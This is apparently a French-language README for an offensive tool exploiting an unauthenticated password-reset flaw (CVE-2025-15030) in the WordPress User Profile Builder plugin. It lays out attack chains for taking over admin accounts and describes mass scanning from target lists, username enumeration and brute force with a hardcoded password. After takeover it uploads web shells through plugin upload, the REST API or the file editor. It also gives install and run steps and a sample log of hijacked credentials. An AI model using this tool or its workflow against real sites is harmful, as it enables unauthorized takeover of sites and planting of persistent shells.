
User Profile Builder < 3.15.2 - Réinitialisation de mot de passe arbitraire non authentifiée
User Profile Builder < 3.15.2 - Réinitialisation de mot de passe non authentifiée
____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____
/ _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \
| / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \|
| \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/|
\____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/
| Champ | Détail |
|---|---|
| CVE | CVE-2025-15030 |
| CVSS | 9.8 CRITIQUE — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Plugin | User Profile Builder pour WordPress |
| Versions affectées | Toutes les versions antérieures à 3.15.2 |
| Authentification | Aucune requise |
| Type | Réinitialisation de mot de passe incorrecte — Prise de contrôle de compte non authentifiée |
| CWE | CWE-640 · Mécanisme de récupération de mot de passe faible |
Cause racine :
Le flux de récupération de mot de passe du plugin Profile Builder (action2=recover_password2) ne valide pas correctement la clé de réinitialisation et n'impose pas d'expiration de jeton. En soumettant une requête POST spécialement conçue avec un password_recovery_nonce_field2 valide extrait de la page de réinitialisation, un attaquant non authentifié peut définir un nouveau mot de passe pour n'importe quel utilisateur WordPress — y compris les administrateurs — en ne connaissant que leur nom d'utilisateur. Aucune interaction par e-mail ni jeton de réinitialisation valide n'est requis.
Cet outil implémente deux chaînes d'attaque indépendantes contre chaque cible, toutes deux suivies d'un déploiement de shell optionnel :
┌────────────────────────────────────────────────────────────────────┐
│ CHAÎNE 1 · CŒUR (abus de réinitialisation native wp-login) │
│ │
│ POST /wp-login.php?action=lostpassword (déclencher réinit.) │
│ GET /wp-login.php?action=rp&key=... (suivre lien réinit.) │
│ POST /wp-login.php?action=resetpass (injecter nouveau mdp) │
│ Énumérer les noms d'utilisateur → brute force strict → vérif /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ CHAÎNE 2 · PB (Profile Builder réinitialisation par lien) │
│ │
│ Charger les URL de réinit. depuis pb_reset_links.txt │
│ GET <reset_url> → extraire nonce + userData │
│ POST action2=recover_password2 → définir nouveau mot de passe |
│ Connexion stricte → vérifier accès /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ TÉLÉVERSEMENT DE SHELL (exécuté après toute confirmation admin) │
│ │
│ Méthode 1 → téléversement plugin-install.php (Nxploited.zip) │
│ Méthode 2 → API REST /wp-json/wp/v2/plugins │
│ Méthode 3 → Éditeur de plugin/thème (écrire Nx.php directement)│
│ Vérifier → GET /wp-content/plugins/Nxploited/Nx.php │
│ Journal → scan_results/shells.txt │
└────────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0
Placez Nxploited.zip dans le même répertoire que le script pour activer le téléversement du shell. L'outil s'exécute sans, mais le déploiement du shell sera ignoré.
python3 CVE-2025-15030.py
Fichier de liste de cibles (une URL par ligne) : list.txt
Threads (sites simultanés) [5] : 5
Délai d'attente HTTP (secondes) [10] : 10
Fichier de sortie pour les succès de réinit. cœurs scan_results/wp_login_reset_success.txt
Fichier de sortie pour les shells Nxploited : scan_results/shells.txt
Fichier de liens de réinitialisation Profile Builder (facultatif) : pb_reset_links.txt
Mot de passe utilisé pour toutes les réinitialisations et connexions est fixé en interne :
Nxploited_adminSA
list.txt — Cibles (obligatoire)https://cible1.com
cible2.com
http://cible3.com/wordpress
pb_reset_links.txt — Liens de réinitialisation Profile Builder (facultatif)Si vous avez capturé des liens de réinitialisation de mot de passe par e-mail depuis Profile Builder, collez-les ici, un par ligne. L'outil va :
password_recovery_nonce_field2 + userDataaction2=recover_password2https://cible1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://cible2.com/?page_id=5&action=recover_password&key=XYZ&login=editor
L'outil découvre automatiquement les noms d'utilisateur WordPress via trois méthodes avant de tenter la connexion :
| Méthode | Point de terminaison |
|---|---|
| Redirection auteur | /?author=1 → /?author=10 |
| API REST | /wp-json/wp/v2/users |
| Heuristique de nom d'hôte | Premier label du nom de domaine |
| Repli par défaut | admin toujours inclus |
Chaque tentative de connexion est strictement vérifiée avant d'écrire les résultats. L'outil vérifie :
/wp-admin/index.php → id="adminmenu", id="wpadminbar"
/wp-admin/users.php → indicateur users.php
/wp-admin/plugins.php → indicateur plugins.php
/wp-admin/plugin-install.php → upload-plugin, plugin-install-tab
Un résultat n'est écrit sur le disque que lorsque ≥ 3 marqueurs admin sont confirmés.
Après une session admin confirmée, l'outil tente trois méthodes d'escalade dans l'ordre :
| Méthode | Point de terminaison | Déclencheur |
|---|---|---|
| Téléversement de plugin | /wp-admin/update.php?action=upload-plugin | Téléverse Nxploited.zip via le formulaire d'installation |
| API REST | /wp-json/wp/v2/plugins | POST ZIP direct |
| Écriture dans l'éditeur | /wp-admin/plugin-editor.php | Écrit Nx.php via l'éditeur de fichiers |
Vérification du shell : GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200
| Fichier | Contenu |
|---|---|
scan_results/wp_login_reset_success.txt | Hits admin confirmés via la chaîne CŒUR |
scan_results/shells.txt | URL des shells déployés avec identifiants |
wp_login_reset_success.txt
[2025-06-01T14:22:10] https://cible.com | https://cible.com/wp-login.php | compte=admin motdepasse=Nxploited_adminSA